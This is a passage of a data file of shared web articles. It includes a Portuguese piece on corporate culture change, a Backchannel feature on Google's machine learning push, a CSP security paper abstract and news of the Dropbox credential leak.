machine learning cheat sheet coming from Dzone that will help you learn how to set up training and testing data, implementing multiple machine learning models and many more important topics. This machine learning cheat sheet from Microsoft Azure will help you choose the appropriate machine learning algorithms for your predictive analytics solution. First, the cheat sheet will asks you about the data nature and then suggests the best algorithm for the job. A very useful and best machine learning cheat sheet that comes with many classical equations and diagrams to help you learn more about machine learning. Not only helpful for developers, but also comes handy if you are going to give job interview related to machine learning. Ryan Compton created a cheat sheet that contains his notes and superstitions about common machine learning algorithms. This is a quick reference guide that will help all the people learning or giving interviews. Created by Laura Diane, this is a very simple but useful machine learning cheat sheet that will help you understand more about algorithms and where to use them. Created by Ajitesh Kumar, this article contains 10 popular machine learning algorithms and related R commands and package information. This cheat sheet will help beginners to understand more about the algorithms and how to use it further. Well, if you have any such useful machine learning cheats sheet that claims to help others, then do let us know by leaving your comments below.",en
1472771049,CONTENT SHARED,4563006651994272837,22763587941636338,-6576472045980537503,,,,HTML,http://exame.abril.com.br/revista-exame/edicoes/1120/noticias/empresas-brasileiras-correm-para-ajustar-cultura-interna,"Empresas brasileiras correm para ""ajustar"" cultura interna | EXAME.com","São Paulo - A cada três meses o presidente do banco Votorantim , João Teixeira, e três dos 15 diretores da companhia dedicam uma manhã a um encontro que não trata de dados financeiros ou outros indicadores numéricos. Ao longo de 4 horas eles ouvem 17 representantes de todas as áreas a respeito de termos até pouco tempo atrás estranhos ao vocabulário interno, como ""modelos mentais"" dos funcionários que ajudam ou atrapalham a execução da nova estratégia do banco. As informações para a reunião surgem do acompanhamento mensal que esses executivos fazem há mais de um ano com mais de 300 funcionários de diferentes níveis hierárquicos. O pano de fundo é a discussão sobre a cultura do banco. Eis um dos conceitos mais difíceis de definir na gestão - mas ao mesmo tempo fundamental para o sucesso das companhias. Cultura é a manifestação prática dos valores da empresa. Empresas com cultura forte são normalmente vistas como superiores - por conseguir executar a estratégia de modo eficiente. O problema é quando os valores dizem uma coisa; e a prática, outra. O banco Votorantim está justamente no processo de tentar conectar as duas pontas - ou seja, de corrigir sua cultura. No fim da década passada, uma sucessão de erros de gestão culminaram em dívidas e prejuízos recordes. Como resultado, um chacoalhão alterou a um só tempo o controle acionário, boa parte da cúpula e, por fim, a estratégia da companhia. Teixeira assumiu o banco no auge da crise, em 2011, logo depois que o Banco do Brasil tornou-se sócio da família Ermírio de Moraes e passou a deter 50% das ações da companhia. Nos três primeiros anos, viveu o que chama de ""modo de sobrevivência"", um período intenso de corte de custos. Desde o final de 2014, o esforço passou a ser a definição de uma nova estratégia para voltar a crescer com lucro. Muitas delas, porém, entram em conflito com hábitos cultivados por décadas. Um exemplo: a equipe de produtos para o varejo poderia passar a oferecer empréstimos aos funcionários dos clientes corporativos da área de atacado. Mas, num modus operandi sedimentado ao longo de décadas, as pessoas de áreas distintas simplesmente não se comunicavam. Parte do trabalho com os 17 ""embaixadores"" da nova cultura é monitorar se tabus como esse estão dando lugar a um novo jeito de trabalhar. ""Nos últimos dois anos trabalhamos para evitar que aspectos tradicionais da cultura do banco joguem contra a estratégia"", afirma Teixeira. Uma pesquisa realizada pela especialista em comportamento organizacional Betania Tanure, e obtida com exclusividade por EXAME, mostra que a preocupação dos diretores do Banco Votorantim coincide com a de muitos outros executivos de empresas brasileiras atualmente. Numa amostra de 2 000 executivos de 500 companhias de grande porte, 69% dos entrevistados afirmam precisar de uma mudança estratégica. O problema: boa parte deles não acredita que a cultura corporativa atual seja capaz de tirá-la do papel. Trata-se de um dilema tão antigo quanto a existência das grandes corporações. Quando o assunto é a gestão de pessoas, falar é a parte fácil. Difícil é fazer com que as pessoas de fato façam o que precisa ser feito, sobretudo quando para isso é preciso alterar hábitos arraigados. Uma das frases mais célebres do lendário guru de gestão Peter Drucker é: ""Culture eats strategy for breakfast"". Numa tradução livre: ""A cultura pode sabotar qualquer estratégia"". Em tese, a equação deveria ser simples. A diretoria desenha uma nova estratégia, depois escreve uma missão e um punhado de valores condizentes. Os valores são incorporados à rotina dos funcionários e, assim, ajudam a formar uma nova cultura. Diversos estudos em todo o mundo, porém, revelam que esse processo está longe de ser assim tão harmonioso. Um dos levantamentos mais extensos nesse sentido foi realizado por especialistas da escola de negócios Fuqua, da Universidade Duke. Entre 5 000 executivos de grandes companhias americanas e europeias, mais de 90% dizem que a cultura é importante para os resultados. Mas apenas 15% afirmam que a cultura organizacional vigente é a ideal. Para os autores, o assunto só desperta atenção quando algo dá muito errado. Um exemplo: quando a montadora alemã Volkswagen reconheceu que fraudava sistematicamente dados sobre o consumo de combustível de seus automóveis. ""Normalmente, só depois que os resultados ruins aparecem existe a consciência da inadequação da cultura. E a cultura, na prática, não muda rapidamente"", diz Betania. Diga-se a favor da maioria que, se existe um consenso sobre o tema, é o de que forjar uma cultura eficiente está longe de ser uma tarefa simples. A primeira dificuldade: ela está lá e é condição vital para que a máquina continue a funcionar. Mas ninguém pode vê-la ou tocá-la. Está entranhada no comportamento de todos os funcionários e no jeito como as decisões são tomadas. Uma pesquisa global feita pela consultoria Deloitte com cerca de 7 000 executivos neste ano revela que menos de um terço deles afirma entender de fato o conceito de cultura. Lou Gerstner, o lendário executivo que reergueu a gigante de tecnologia IBM nos anos 90, costuma dizer que é mais fácil reconhecer do que definir uma empresa com cultura forte. Nessas companhias, os sinais dela estão por toda parte. Em vez de desfilar as habituais platitudes sobre filosofia de trabalho, a varejista online Amazon tem um documento com 14 mandamentos para sua equipe. Segundo uma recente reportagem do jornal The New York Times, uma piada interna diz que os ""amazonianos"" seguem tão fielmente os chamados princípios de liderança que costumam repassá-los até para seus filhos. Os símbolos da cultura que prega a inovação e o questionamento contínuo estão nos detalhes: um dos prédios da companhia leva o nome de ""Day One"", como uma lembrança de que todos os dias devem ser como o primeiro de existência da companhia. As reuniões não começam com apresentações de PowerPoint - e sim com cerca de meia hora de leitura silenciosa de seis páginas de texto preparadas por quem vai conduzir o encontro. ""Quando você tem de expressar suas ideias em frases e parágrafos completos, é preciso ter mais clareza sobre suas ideias"", disse o fundador Jeff Bezos. ""A cultura de uma empresa é criada devagar, ao longo do tempo, pelas pessoas e pelos eventos. Para o bem ou para o mal, é algo estável, duradouro e difícil de mudar"", escreveu Bezos em sua carta aos acionistas deste ano. Por vezes, a determinação na hora de cristalizar crenças e hábitos parece beirar o fanatismo religioso. É o caso da varejista de calçados americana ­Zappos, comprada pela Amazon em 2009, mas que manteve a gestão independente. Todos os funcionários passam as três primeiras semanas de trabalho no call center, atendendo clientes. Após esse período, a empresa oferece 3 000 dólares para que o recém-contratado deixe a companhia caso não tenha se identificado com o estilo de trabalho. Todos os anos, os funcionários escrevem conjuntamente um livro, aberto ao público na internet, sobre o que acham a respeito da cultura da companhia. Reed Hastings, fundador da americana Netflix, considera sua cultura tão importante que montou uma apresentação de 124 páginas para detalhá-la. O documento já foi visto quase 15 milhões de vezes desde 2009. O pesquisador americano James Heskett, professor emérito na escola de negócios da Universidade Harvard, foi um dos primeiros a estabelecer uma correlação direta entre cultura e resultados financeiros. Nos últimos 30 anos, Heskett analisou dados de mais de 200 empresas dentro e fora dos Estados Unidos. De acordo com ele, uma cultura eficiente influencia positivamente aspectos não financeiros do negócio - como retenção de funcionários, relacionamento com o cliente e lealdade dos consumidores a produtos e serviços. A conclusão foi que quase metade da diferença de lucro operacional entre algumas das empresas e suas concorrentes diretas se deve à cultura. ""Diversos aspectos entram na conta, como a retenção e a produtividade dos funcionários"", disse Heskett a EXAME (veja entrevista na pág. 78). Vida ou morte Se criar uma cultura eficiente não é fácil, mudá-la é ainda mais complicado. A natureza humana joga contra. Mesmo em questões de vida ou morte, mudar, em geral, significa um esforço hercúleo. Estatísticas americanas mostram que apenas 20% dos pacientes com problemas cardíacos adotam novos hábitos necessários para aumentar sua expectativa de vida. Quem se aventura num processo de mudança de cultura deve saber que esse é um caminho longo. Segundo: falar é importante, mas não basta. Atitudes tendem a ser mais eloquentes. É o que mostra a emblemática tentativa do banco Itaú de tirar o peso de sua hierarquia na última década. O banco fechou as portas do ""gravatinha"", restaurante exclusivo para supervisores e gerentes, desativado em 2008. Agora os funcionários de médio escalão fazem as refeições com seus subordinados. Na mesma época, Roberto Setubal, presidente do banco, enviou um e-mail a todos os funcionários no qual pedia para ser chamado simplesmente de Roberto - no lugar do pomposo ""doutor"" Roberto. Desde 2010 ele lidera o chamado ""encontro de líderes"", que reúne 6 000 executivos religiosamente uma vez por ano para discutir o ""jeito Itaú de ser"". É algo novo dentro do que já foi um ambiente bem mais sisudo e formal. Os executivos da geradora e distribuidora de energia EDP no Brasil constataram na prática que esse processo exige persistência. O primeiro esforço da subsidiária para unificar a cultura de suas operações, formada após uma série de aquisições, ocorreu em 2005, quando a companhia passou a ter ações negociadas em bolsa. Tudo aconteceu em poucas semanas. Primeiro, os diretores se reuniram e pensaram num conjunto de valores. A lista foi publicada na intranet e impressa nos crachás. ""Com o tempo, era algo que estava ali, mas ninguém lembrava que existia"", diz Miguel Setas, presidente da companhia no Brasil. Para sair do discurso e ter efeitos práticos, a nova tentativa de formação de cultura, iniciada em setembro de 2014, foi diferente. Em vez de simplesmente comunicar os mais de 6 000 funcionários sobre a missão e os valores estabelecidos para a companhia, a diretoria decidiu consultá-los. Numa pesquisa, todos - desde eletricistas até funcionários dos escritórios - tiveram a chance de apontar os problemas mais frequentes no ambiente de trabalho. ""Em geral se gasta uma semana para definir uma missão"", afirma Setas. ""Levamos oito meses para ouvir todo mundo."" Em outras proporções, algo semelhante aconteceu na empresa de fidelidade Dotz. Durante três meses, uma série de entrevistas com boa parte dos cerca de 300 funcionários ajudou a identificar que não havia uma visão única entre eles sobre o propósito da empresa. ""O levantamento deixou claro onde estavam os pontos críticos"", diz Roberto Chade, presidente da Dotz. Sem ""aliados"" do processo para manter a discussão constantemente ativa entre os funcionários, é muito provável que o assunto logo caia no esquecimento. No caso da EDP, foram recrutados voluntários de diversos níveis hierárquicos para conduzir encontros periódicos para discussão dos valores e de maneiras de colocá-los em prática. De início, os diretores esperavam que houvesse pelo menos 100 interessados. Hoje há 200 deles, treinados especialmente para a função. Nem todos os encontros foram um sucesso . Mas as coisas melhoraram quando Miguel Setas, o presidente, apareceu de surpresa em alguns deles. ""É difícil ganhar a adesão espontânea de toda a equipe, por isso o exemplo do líder é fundamental"", afirma Luis Gouveia, diretor de cultura organizacional da EDP. A própria escolha desses embaixadores da cultura leva em conta a lógica de que o exemplo é tudo. Entre os voluntários, apenas os que eram considerados exemplares foram aceitos. Na fabricante de material de construção Duratex, que iniciou um processo semelhante em meados de 2015, o critério de seleção dos multiplicadores foi o mesmo - foram escolhidos 16 funcionários para coordenar encontros mensais a partir de outubro. A tarefa deles é ir fundo nas razões que podem dificultar a mudança. ""Na hora de mudar, muitos dizem: 'O que eu ganho com isso? Já estou fazendo minha parte'"", afirma Marcelo Linardi, gerente de relacionamento com o cliente do Banco Votorantim e um dos 17 eleitos ""embaixadores da cultura"". Novos parâmetros de avaliação de desempenho e de distribuição de bônus costumam ser incentivos convincentes. Na EDP, só havia metas financeiras para balizar esses dois processos. Hoje, mais de 3 000 funcionários são avaliados segundo indicadores como satisfação de clientes e desenvolvimento de fornecedores, identificados como pontos críticos da cultura da empresa. Quando o trabalho pode ser dado por encerrado? Em geral, o esforço extra para fortalecer uma nova cultura dura de dois a três anos. Manter ""embaixadores"", por exemplo, é saudável por um tempo. ""Depois as pessoas passam a pensar de uma mesma maneira automaticamente"", diz a especialista Betania Tanure. Por definição, o fortalecimento da cultura é um processo que nunca acaba. Depende apenas - e isso não é pouco - da coerência entre o que se fala e o que se faz.",pt
1472776911,CONTENT SHARED,5250363310227021277,-1443636648652872475,6245842811012374102,,,,HTML,https://backchannel.com/how-google-is-remaking-itself-as-a-machine-learning-first-company-ada63defcb70?gi=5df3b0587277,"How Google is Remaking Itself as a ""Machine Learning First"" Company - Backchannel","If you want to build artificial intelligence into every product, you better retrain your army of coders. Check. Carson Holgate is training to become a ninja. Not in the martial arts - she's already done that. Holgate, 26, holds a second degree black belt in Tae Kwon Do. This time it's algorithmic. Holgate is several weeks into a program that will inculcate her in an even more powerful practice than physical combat: machine learning, or ML. A Google engineer in the Android division, Holgate is one of 18 programmers in this year's Machine Learning Ninja Program, which pulls talented coders from their teams to participate, Ender's Game -style, in a regimen that teaches them the artificial intelligence techniques that will make their products smarter. Even if it makes the software they create harder to understand. ""The tagline is, Do you want to be a machine learning ninja? "" says Christine Robson, a product manager for Google's internal machine learning efforts, who helps administer the program. ""So we invite folks from around Google to come and spend six months embedded with the machine learning team, sitting right next to a mentor, working on machine learning for six months, doing some project, getting it launched and learning a lot."" For Holgate, who came to Google almost four years ago with a degree in computer science and math, it's a chance to master the hottest paradigm of the software world: using learning algorithms (""learners"") and tons of data to ""teach"" software to accomplish its tasks. For many years, machine learning was considered a specialty, limited to an elite few. That era is over, as recent results indicate that machine learning, powered by ""neural nets"" that emulate the way a biological brain operates, is the true path towards imbuing computers with the powers of humans, and in some cases, super humans. Google is committed to expanding that elite within its walls, with the hope of making it the norm. For engineers like Holgate, the ninja program is a chance to leap to the forefront of the effort, learning from the best of the best. ""These people are building ridiculous models and have PhD's,"" she says, unable to mask the awe in her voice. She's even gotten over the fact that she is actually in a program that calls its students ""ninjas."" ""At first, I cringed, but I learned to accept it,"" she says. Considering the vast size of Google's workforce - probably almost half of its 60,000 headcount are engineers - this is a tiny project. But the program symbolizes a cognitive shift in the company. Though machine learning has long been part of Google's technology - and Google has been a leader in hiring experts in the field - the company circa 2016 is obsessed with it. In an earnings call late last year, CEO Sundar Pichai laid out the corporate mindset: ""Machine learning is a core, transformative way by which we're rethinking how we're doing everything. We are thoughtfully applying it across all our products, be it search, ads, YouTube, or Play. And we're in early days, but you will see us - in a systematic way - apply machine learning in all these areas."" Obviously, if Google is to build machine learning in all its products, it needs engineers who have mastery of those techniques, which represents a sharp fork from traditional coding. As Pedro Domingos, author of the popular ML manifesto The Master Algorithm , writes, ""Machine learning is something new under the sun: a technology that builds itself."" Writing such systems involves identifying the right data, choosing the right algorithmic approach, and making sure you build the right conditions for success. And then (this is hard for coders) trusting the systems to do the work. ""The more people who think about solving problems in this way, the better we'll be,"" says a leader in the firm's ML effort, Jeff Dean, who is to software at Google as Tom Brady is to quarterbacking in the NFL. Today, he estimates that of Google's 25,000 engineers, only a ""few thousand"" are proficient in machine learning. Maybe ten percent. He'd like that to be closer to a hundred percent. ""It would be great to have every engineer have at least some amount of knowledge of machine learning,"" he says. Does he think that will happen? ""We're going to try,"" he says. For years, John Giannandrea has been Google's key promoter of machine learning, and, in a flashing neon sign of where the company is now, he recently became the head of Search. But when he arrived at the company in 2010 (as part of the company's acquisition of MetaWeb, a vast database of people, places and things that is now integrated into Google Search as the Knowledge Graph), he didn't have much experience with ML or neural nets. Around 2011, though, he became struck by news coming from a conference called Neural Information Processing Systems (NIPS). It seemed every year at NIPS some team or other would announce results using machine learning that blew away previous attempts at a solving a problem, be it translation, voice recognition, or vision. Something amazing was happening. ""When I was first looking at it, this NIPS conference was obscure,"" he says. ""But this whole area across academia and industry has ballooned in the last three years. I think last year 6000 attended."" These improved neural-net algorithms along with more powerful computation from the Moore's Law effect and an exponential increase in data drawn from the behavior of huge numbers of users at companies like Google and Facebook, began a new era of ascendant machine learning. Giannandrea joined those who believed it should be central to the company. That cohort included Dean, co-founder of the Google Brain , a neural net project originating in the company's long-range research division Google X. (Now known simply as X.) Google's bear-hug-level embrace of machine learning does not simply represent a shift in programming technique. It's a serious commitment to techniques that will bestow hitherto unattainable powers to computers. The leading edge of this are ""deep learning"" algorithms built around sophisticated neural nets inspired by brain architecture. Google Brain is a deep learning effort, and DeepMind, the AI company Google bought for a reported $500 million in January 2014, also concentrates on that end of the spectrum. It was DeepMind that created the AlphaGo system that beat a champion of Go, shattering expectations of intelligent machine performance and sending ripples of concern among those fearful of smart machines and killer robots. While Giannandrea dismisses the ""AI-is-going-to-kill us"" camp as ill-informed Cassandras, he does contend that machine learning systems are going to be transformative, in everything from medical diagnoses to driving our cars. While machine learning won't replace humans, it will change humanity. The example Giannandrea cites to demonstrate machine learning power is Google Photos, a product whose definitive feature is an uncanny - maybe even disturbing -  ability to locate an image of something specified by the user. Show me pictures of border collies. ""When people see that for the first time they think something different is happening because the computer is not just computing a preference for you or suggesting a video for you to watch,"" says Giannandrea. ""It's actually understanding what's in the picture."" He explains that through the learning process, the computer ""knows"" what a border collie looks like, and it will find pictures of it when it's a puppy, when its old, when it's long-haired, and when it's been shorn. A person could do that, of course. But no human could sort through a million examples and simultaneously identify ten thousand dog breeds. But a machine learning system can. If it learns one breed, it can use the same technique to identify the other 9999 using the same technique. ""That's really what's new here,"" says Giannandrea. ""For those narrow domains, you're seeing what some people call super human performance in these learned systems."" To be sure, machine learning concepts have long been understood at Google, whose founders are lifetime believers of the power of artificial intelligence. Machine learning is already baked into many Google products, albeit not always the more recent flavors centering around neural nets. (Earlier machine learning often relied on a more straightforward statistical approach.) In fact, over a decade ago, Google was running in-house courses to teach its engineers machine learning. In the early 2005, Peter Norvig, then in charge of search, suggested to a research scientist named David Pablo Cohn that he look into whether Google might adopt a course in the subject organized by Carnegie Mellon University. Cohn concluded that only Googlers themselves could teach such an internal course, because Google operated at such a different scale than anyone else (except maybe the Department of Defense). So he reserved a large room in Building 43 (then the headquarters of the search team) and held a two-hour class every Wednesday. Even Jeff Dean dropped in for a couple of sessions. ""It was the best class in the world,"" Cohn says. ""They were all much better engineers than I was!"" The course was so popular, in fact, that it began to get out of hand. People in the Bangalore office were staying past midnight so they could call in. After a couple of years, some Googlers helped put the lectures on short videos; the live sessions ended. Cohn believes it might have qualified as a precursor to the Massive Open Online Course (MOOC). Over the next few years there were other disparate efforts at ML training at Google, but not in an organized, coherent fashion. Cohn left Google in 2013 just before, he says, ML at Google ""suddenly became this all-important thing."" That understanding hadn't yet hit in 2012 when Giannandrea had the idea to ""get a bunch of people who were doing this stuff"" and put them in a single building. Google Brain, which had ""graduated"" from the X division, joined the party. ""We uprooted a bunch of teams, put them in a building, got a nice new coffee machine,"" he says. ""People who previously had just been working on what we called perception - sound and speech understanding and so on - were now talking to the people who were trying to work on language."" More and more, the machine learning efforts from those engineers began appearing in Google's popular products. Since key machine learning domains are vision, speech, voice recognition, and translation, it's unsurprising that ML is now a big part of Voice Search, Translate, and Photos. More striking is the effort to work machine learning into everything . Jeff Dean says that as he and his team have begun to understand ML more, they are exploiting it in more ambitious ways. ""Previously, we might use machine learning in a few sub-components of a system,"" he says. ""Now we actually use machine learning to replace entire sets of systems, rather than trying to make a better machine learning model for each of the pieces."" If he were to rewrite Google's infrastructure today, says Dean, who is known as the co-creator of game-changing systems like Big Table and MapReduce , much of it would not be coded but learned. Machine learning also is enabling product features that previously would have been unimaginable. One example is Smart Repl y in Gmail, launched in November 2015. It began with a conversation between Greg Corrado, a co-founder of the Google Brain project, and a Gmail engineer named Bálint Miklós. Corrado had previously worked with the Gmail team on using ML algorithms for spam detection and classifying email, but Miklós suggested something radical. What if the team used machine learning to automatically generate replies to emails, saving mobile users the hassle of tapping out answers on those tiny keyboards? ""I was actually flabbergasted because the suggestion seemed so crazy,"" says Corrado. ""But then I thought that with the predictive neural net technology we'd been working on, it might be possible. And once we realized there was even a chance, we had to try."" Google boosted the odds by keeping Corrado and his team in close and constant contact with the Gmail group, an approach that is increasingly common as machine learning experts fan out among product groups. ""Machine learning is as much art as it is science,"" says Corrado. ""It's like cooking - yes, there's chemistry involved but to do something really interesting, you have to learn how to combine the ingredients available to you."" Traditional AI methods of language understanding depended on embedding rules of language into a system, but in this project, as with all modern machine learning, the system was fed enough data to learn on its own, just as a child would. ""I didn't learn to talk from a linguist, I learned to talk from hearing other people talk,"" says Corrado. But what made Smart Reply really feasible was that success could be easily defined - the idea wasn't to create a virtual Scarlett Johansson who would engage in flirtatious chatter, but plausible replies to real-life emails. ""What success looked like is that the machine generated a candidate response that people found useful enough to use as their real response,"" he says. Thus the system could be trained by noting whether or not users actually clicked on the suggested replies. When the team began testing Smart Reply, though, users noted a weird quirk: it would often suggest inappropriate romantic responses. ""One of the failure modes was this really hysterical tendency for it to say, 'I love you' whenever it got confused,"" says Corrado. ""It wasn't a software bug - it was an error in what we asked it to do."" The program had somehow learned a subtle aspect of human behavior: ""If you're cornered, saying, 'I love you' is a good defensive strategy."" Corrado was able to help the team tamp down the ardor. Smart Repl y, released last November, is a hit - users of the Gmail Inbox app now routinely get a choice of three potential replies to emails that they can dash off with a single touch. Often they seem uncannily on the mark. Of responses sent by mobile Inbox users, one in ten is created by the machine-learning system. ""It's still kind of surprising to me that it works,"" says Corrado with a laugh. Smart Reply is only one data point in a dense graph of instances where ML has proved effective at Google. But perhaps the ultimate turning point came when machine learning became an integral part of search, Google's flagship product and the font of virtually all its revenues. Search has always been based on artificial intelligence to some degree. But for many years, the company's most sacred algorithms, those that delivered what were once known as the ""ten blue links"" in response to a search query, were deemed too important for ML's learning algorithms. ""Because search is such a large part of the company, ranking is very, very highly evolved, and there was a lot of skepticism you could move the needle very much,"" says Giannandrea. In part this was a cultural resistance - a stubborn microcosm of the general challenge of getting control-freaky master hackers to adopt the Zen-ish machine learning approach. Amit Singhal, the long-time maester of search, was himself an acolyte of Gerald Salton, a legendary computer scientist whose pioneering work in document retrieval inspired Singhal to help revise the grad-student code of Brin and Page into something that could scale in the modern web era. (This put him in the school of ""retrievers."") He teased amazing results from those 20th century methods, and was suspicious of integrating learners into the complicated system that was Google's lifeblood. ""My first two years at Google I was in search quality, trying to use machine learning to improve ranking,"" says David Pablo Cohn. ""It turns out that Amit's intuition was the best in the world, and we did better by trying to hard code whatever was in Amit's brain. We couldn't find anything as good as his approach."" By early 2014, Google's machine learning masters believed that should change. ""We had a series of discussions with the ranking team,"" says Dean. ""We said we should at least try this and see, is there any gain to be had."" The experiment his team had in mind turned out to be central to search: how well a document in the ranking matches a query (as measured by whether the user clicks on it). ""We sort of just said, let's try to compute this extra score from the neural net and see if that's a useful score."" It turned out the answer was yes, and the system is now part of search, known as RankBrain. It went online in April 2015. Google is characteristically fuzzy on exactly how it improves search (something to do with the long tail? Better interpretation of ambiguous requests?) but Dean says that RankBrain is ""involved in every query,"" and affects the actual rankings ""probably not in every query but in a lot of queries."" What's more, it's hugely effective. Of the hundreds of ""signals"" Google search uses when it calculates its rankings (a signal might be the user's geographical location, or whether the headline on a page matches the text in the query), RankBrain is now rated as the third most useful. ""It was significant to the company that we were successful in making search better with machine learning,"" says Giannandrea. ""That caused a lot of people to pay attention."" Pedro Domingos, the University of Washington professor who wrote The Master Algorithm , puts it a different way: ""There was always this battle between the retrievers and the machine learning people,"" he says. ""The machine learners have finally won the battle."" Google's new challenge is shifting its engineering workforce so everyone is familiar, if not adept, at machine learning. It's a goal pursued now by many other companies, notably Facebook, which is just as gaga about ML and deep learning as Google is. The competition to hire recent graduates in the field is fierce, and Google tries hard to maintain its early lead; for years, the joke in academia was that Google hires top students even when it doesn't need them, just to deny them to the competition. (The joke misses the point that Google does need them.) ""My students, no matter who, always get an offer from Google."" says Domingos. And things are getting tougher: just last week, Google announced it will open a brand new machine-learning research lab in Zurich, with a whole lot of workstations to fill. But since academic programs are not yet producing ML experts in huge numbers, retraining workers is a necessity. And that isn't always easy, especially at a company like Google, with many world-class engineers who have spent a lifetime achieving wizardry through traditional coding. Machine learning requires a different mindset. People who are master coders often become that way because they thrive on the total control that one can have by programming a system. Machine learning also requires a grasp of certain kinds of math and statistics, which many coders, even gonzo hackers who can zip off tight programs of brobdingnagian length, never bothered to learn. It also requires a degree of patience. ""The machine learning model is not a static piece of code - you're constantly feeding it data,"" says Robson. ""We are constantly updating the models and learning, adding more data and tweaking how we're going to make predictions. It feels like a living, breathing thing. It's a different kind of engineering."" ""It's a discipline really of doing experimentation with the different algorithms, or about which sets of training data work really well for your use case,"" says Giannandrea, who despite his new role as search czar still considers evangelizing machine learning internally as part of his job. ""The computer science part doesn't go away. But there is more of a focus on mathematics and statistics and less of a focus on writing half a million lines of code."" As far as Google is concerned, this hurdle can be leapt over by smart re-training. ""At the end of the day the mathematics used in these models is not that sophisticated,"" says Dean. ""It's achievable for most software engineers we would hire at Google."" To further aid its growing cadre of machine learning experts, Google has built a powerful set of tools to help engineers make the right choices of the models they use to train their algorithms and to expedite the process of training and refining. The most powerful of those is TensorFlow , a system that expedites the process of constructing neural nets. Built out of the Google Brain project, and co-invented by Dean and his colleague Rajat Monga, TensorFlow helped democratize machine learning by standardizing the often tedious and esoteric details involved in building a system - especially since Google made it available to the public in November 2015. While Google takes pains to couch the move as an altruistic boon to the community, it also acknowledges that a new generation of programmers familiar with its in-house machine learning tools is a pretty good thing for Google recruiting. (Skeptics have noted that Google's open-sourcing TensorFlow is a catch-up move with Facebook, which publicly released deep-learning modules for an earlier ML system, Torch, in January 2015.) Still, TensorFlow's features, along with the Google imprimatur, have rapidly made it a favorite in ML programming circles. According to Giannandrea, when Google offered its first online TensorFlow course, 75,000 people signed up. Google still saves plenty of goodies for its own programmers. Internally, the company has a probably unparalleled tool chest of ML prosthetics, not the least of which is an innovation it has been using for years but announced only recently - the Tensor Processing Unit . This is a microprocessor chip optimized for the specific quirks of running machine language programs, similar to the way as Graphics Processing Units are designed with the single purpose of speeding the calculations that throw pixels on a display screen. Many thousands (only God and Larry Page probably know how many) are inside servers in the company's huge data centers. By super-powering its neural net operations, TPU's give Google a tremendous advantage. ""We could not have done RankBrain without it,"" says Dean. But since Google's biggest need is people to design and refine these systems, just as the company is working feverishly to refine its software-training tools, it's madly honing its experiments in training machine-learning engineers. They range from small to large. The latter category includes quick-and-dirty two-day ""Machine Learning Crash Course with TensorFlow,"" with slides and exercises. Google hopes this is a first taste, and the engineers will subsequently seek out resources to learn more. ""We have thousands of people signed up for the next offering of this one course,"" says Dean. Other, smaller efforts draw outsiders into Google's machine learning maw. Earlier this spring, Google began the Brain Residency program, a program to bring in promising outsiders for a year of intense training from within the Google Brain group. ""We're calling it a jump start in your Deep Learning career,"" says Robson, who helps administer the program. Though it's possible that some of the 27 machine-learning-nauts from different disciplines in the initial program might wind up sticking around Google, the stated purpose of the class is to dispatch them back in the wild, using their superpowers to spread Google's version of machine learning throughout the data-sphere. So, in a sense, what Carson Holgate learns in her ninja program is central to how Google plans to maintain its dominance as an AI-focused company in a world where machine learning is taking center stage. Her program began with a four-week boot camp where the product leads of Google's most advanced AI projects drilled them on the fine points of baking machine learning into projects. ""We throw the ninjas into a conference room and Greg Corrado is there at the white board, explaining LSTM [""Long Short Term Memory,"" a technique that makes powerful neural nets], gesturing wildly, showing how this really works, what the math is, how to use it in production,"" says Robson. ""We basically just do this with every technique we have and every tool in our toolbox for the first four weeks to give them a really immersive dive."" Holgate has survived boot camp and now is using machine learning tools to build a communications feature in Android that will help Googlers communicate with each other. She's tuning hyperparameters. She's cleansing her input data. She's stripping out the stop words. But there's no way she's turning back, because she knows that these artificial intelligence techniques are the present and the future of Google, maybe of all technology. Maybe of everything. ""Machine learning,"" she says, ""is huge here."" Photography by Jason Henry. Creative Art Direction by .",en
1472785321,CONTENT SHARED,-6523871595334455509,-534549863526737439,-6893819804532920307,,,,HTML,https://research.google.com/pubs/pub45542.html,"CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy","Content Security Policy is a web platform mechanism designed to mitigate cross-site scripting (XSS), the top security vulnerability in modern web applications. In this paper, we take a closer look at the practical benefits of adopting CSP and identify significant flaws in real-world deployments that result in bypasses in 94.72% of all distinct policies.",en
1472793548,CONTENT SHARED,-8489944755890710748,8968131284214320024,-6365300891068718323,,,,HTML,http://www.lifehacker.com.au/2016/08/its-official-68-million-dropbox-accounts-leaked-online/,It's Official: 68 Million Dropbox Account Details Leaked Online,"The persistent rumour of a massive Dropbox hack has finally been confirmed - and the details aren't good. Independent analysis has revealed that over 68 million Dropbox user names and passwords are freely available on the internet. If you didn't do it already, you really need to reset your password. The Dropbox hack is real, with a whopping 68,648,009 Dropbox accounts searchable on the Have I been pwned website . In a recent blog post , security expert Troy Hunt outlined the extent of the hack and attained independent confirmation by searching for his own Dropbox login details along with those of his wife. I trawled through the data and sure enough, there was my record. [My wife] too had an entry in the breach. There is no doubt whatsoever that the data breach contains legitimate Dropbox passwords, you simply can't fabricate this sort of thing. The only places that password ever existed was in [my wife's] strongly encrypted 1Password keychain and on Dropbox's servers. A few days ago, Dropbox emailed users who joined on or before 2012 to inform them that a mandatory password reset was necessary on their next login - if they had not already updated their passwords since the hack took place. Half of the over 60 million account passwords were secured by bcrypt and are unlikely to be easily cracked, while the others were secured by the now-deprecated SHA-1 and are potentially easier to access through brute force. Naturally, anyone who hasn't changed their Dropbox password in a while should do so immediately. Hunt also recommends enabling Dropbox's two-step verification if you haven't already done so. We'll report with more news as we get it. [Via Troy Hunt ]",en
